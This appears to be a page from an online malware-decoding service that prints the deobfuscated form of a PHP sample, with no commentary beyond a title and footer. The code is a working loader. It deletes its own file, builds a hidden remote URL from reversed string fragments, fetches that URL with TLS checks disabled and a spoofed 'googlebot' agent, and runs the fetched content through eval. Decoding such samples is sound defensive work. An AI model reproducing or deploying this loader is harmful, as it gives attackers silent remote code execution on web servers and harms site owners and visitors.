Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto tiYYy;
 tiYYy: @unlink(__FILE__);
 goto LdOhr;
 DYsCR: $u91wO .= "o";
 goto tydss;
 r28b7: $u91wO .= "s";
 goto Q3ATx;
 rt541: $u91wO .= "62na";
 goto pUZG9;
 NByHp: $u91wO .= "ptth";
 goto NlbLt;
 tydss: $u91wO .= ".o";
 goto a7C9B;
 enuXS: $u91wO .= "xeyie";
 goto WrMjl;
 NlbLt: eval("" . htOT6(strrev($u91wO)));
 goto bD153;
 ZJzTm: $u91wO .= "0skk";
 goto DYsCR;
 WrMjl: $u91wO .= "h";
 goto D2Ro3;
 pUZG9: $u91wO .= "m/";
 goto enuXS;
 YOLoz: $u91wO .= "txt.";
 goto rt541;
 D2Ro3: $u91wO .= "/pot";
 goto BKxz1;
 a7C9B: $u91wO .= "e";
 goto r28b7;
 LdOhr: $u91wO = '';
 goto YOLoz;
 Q3ATx: $u91wO .= "//:s";
 goto NByHp;
 BKxz1: $u91wO .= "q";
 goto ZJzTm;
	 bD153: function HTOt6($ZlBCn = '') {
		 try {
		 goto NLnV3;
		 tXcrl: $aAPIb = parse_url($ZlBCn);
		 goto QUvny;
		 HvRYZ: curl_close($sx3xs);
		 goto TquOW;
		 XQ88H: goto B5yzZ;
		 goto JANws;
		 TRSyq: SZu1U: goto qUE6s;
			 JsZbb: if (!($ZSlTN > 0)) {
			 goto sm_dx;
			 
		}
		 goto hTpAt;
		 TquOW: return trim(trim($aG9cI, ""));
		 goto uoa7V;
		 zjJ4E: fgets($n7vSc, 2);
		 goto YbO2D;
		 vld2y: $BzJup = '';
		 goto hBT3u;
		 jr_nj: $WoYO2 = fgets($n7vSc, 1024);
		 goto t2LQN;
			 qUE6s: if ($oQk0b) {
			 goto U0Osz;
			 
		}
		 goto lTcYR;
		 oemS0: curl_setopt($sx3xs, CURLOPT_RETURNTRANSFER, 1);
		 goto b0oVY;
		 HBBSn: $oQk0b = false;
		 goto pGUtQ;
		 mMETb: $aG9cI = curl_exec($sx3xs);
		 goto HvRYZ;
			 nxR6g: if ($n7vSc) {
			 goto UA07z;
			 
		}
		 goto YLEd_;
		 JANws: U0Osz: goto WzZk6;
		 hVm89: $x2uXA = isset($aAPIb["scheme"]) ? $aAPIb["scheme"] : "http";
		 goto fNLKm;
			 npJ1Z: if (feof($n7vSc)) {
			 goto e3BG4;
			 
		}
		 goto jr_nj;
		 M6byP: goto qbG3v;
		 goto HAXOU;
		 QUvny: $gcjhc = $aAPIb["host"];
		 goto gJQML;
		 lTcYR: $BzJup .= $WoYO2;
		 goto XQ88H;
		 WzZk6: $WoYO2 = trim($WoYO2);
		 goto whl81;
			 whl81: if (!($WoYO2 === "0")) {
			 goto V41iA;
			 
		}
		 goto VqI2E;
		 pLJJ0: $T290N = $x2uXA === "https" ? "ssl" : "tcp";
		 goto ai5A8;
		 DyDsc: curl_setopt($sx3xs, CURLOPT_URL, $ZlBCn);
		 goto l1HOs;
		 sY9CI: e3BG4: goto Pu6CC;
		 LpGHt: B5yzZ: goto M6byP;
		 hTpAt: $BzJup .= stream_get_contents($n7vSc, $ZSlTN);
		 goto zjJ4E;
		 S07OF: curl_setopt($sx3xs, CURLOPT_TIMEOUT, 60);
		 goto mMETb;
		 S7pfb: $sx3xs = curl_init();
		 goto DyDsc;
		 OmPeJ: curl_setopt($sx3xs, CURLOPT_SSL_VERIFYHOST, false);
		 goto v5VGs;
		 yiLdz: goto Ww_Vc;
		 goto sY9CI;
		 VqI2E: goto e3BG4;
		 goto AfhmK;
		 e0TV7: $tucY1 = true;
		 goto KrH5r;
		 pGUtQ: Ww_Vc: goto npJ1Z;
			 ai5A8: $n7vSc = stream_socket_client("{
			$T290N
		}
			://{
			$gcjhc
		}
			:{
			$BbPgu
		}
		", $KFs2B, $o6FI_, 60);
		 goto nxR6g;
		 Pu6CC: fclose($n7vSc);
		 goto Kft3s;
			 vAgC8: $GfJtj = ["GET {
			$JCdkG
		}
			 HTTP/1.1", "Host: {
			$gcjhc
		}
		", "User-Agent: googlebot", "Connection: Close"];
		 goto teYn2;
		 oKpmF: $ZSlTN = intval(hexdec($WoYO2));
		 goto JsZbb;
		 UcpwB: $oQk0b = true;
		 goto PPxNu;
		 v5VGs: curl_setopt($sx3xs, CURLOPT_FOLLOWLOCATION, true);
		 goto S07OF;
		 srilS: lSGaq: goto UcpwB;
		 hBT3u: $tucY1 = false;
		 goto HBBSn;
		 Kft3s: return trim($BzJup);
		 goto Wka5d;
		 PPxNu: qbG3v: goto yiLdz;
		 YLEd_: return 0;
		 goto AKYRG;
			 NLnV3: if (!(function_exists("curl_init") && function_exists("curl_exec"))) {
			 goto iBC0A;
			 
		}
		 goto S7pfb;
		 HAXOU: iOUnl: goto e0TV7;
		 teYn2: $R_3iA = implode("\xd\xa", $GfJtj) . "\xd\xa\xd\xa";
		 goto cCiKL;
		 fNLKm: $BbPgu = isset($aAPIb["port"]) ? $aAPIb["port"] : ($x2uXA === "https" ? 443 : 80);
		 goto pLJJ0;
		 b0oVY: curl_setopt($sx3xs, CURLOPT_SSL_VERIFYPEER, false);
		 goto OmPeJ;
		 AfhmK: V41iA: goto oKpmF;
		 nF3EO: goto qbG3v;
		 goto TRSyq;
			 t2LQN: if ($tucY1) {
			 goto SZu1U;
			 
		}
		 goto yIKtL;
			 yIKtL: if (trim($WoYO2) === '') {
			 goto iOUnl;
			 
		}
		 goto xYzzH;
		 gJQML: $JCdkG = isset($aAPIb["path"]) ? $aAPIb["path"] : "/";
		 goto hVm89;
		 l1HOs: curl_setopt($sx3xs, CURLOPT_CONNECTTIMEOUT, 0);
		 goto oemS0;
		 AKYRG: UA07z: goto vAgC8;
		 cCiKL: fwrite($n7vSc, $R_3iA);
		 goto vld2y;
		 uoa7V: iBC0A: goto tXcrl;
		 YbO2D: sm_dx: goto LpGHt;
		 KrH5r: goto qbG3v;
		 goto srilS;
			 xYzzH: if (stripos($WoYO2, "Transfer-Encoding: chunked") !== false) {
			 goto lSGaq;
			 
		}
		 goto nF3EO;
		 Wka5d: 
	}
		 catch (Exception $lfNWV) {
		 echo "Exception: " . $lfNWV->getMessage() . "\xa";
		 
	}
	 return 0;
	 
}



© 2023 Quttera Ltd. All rights reserved.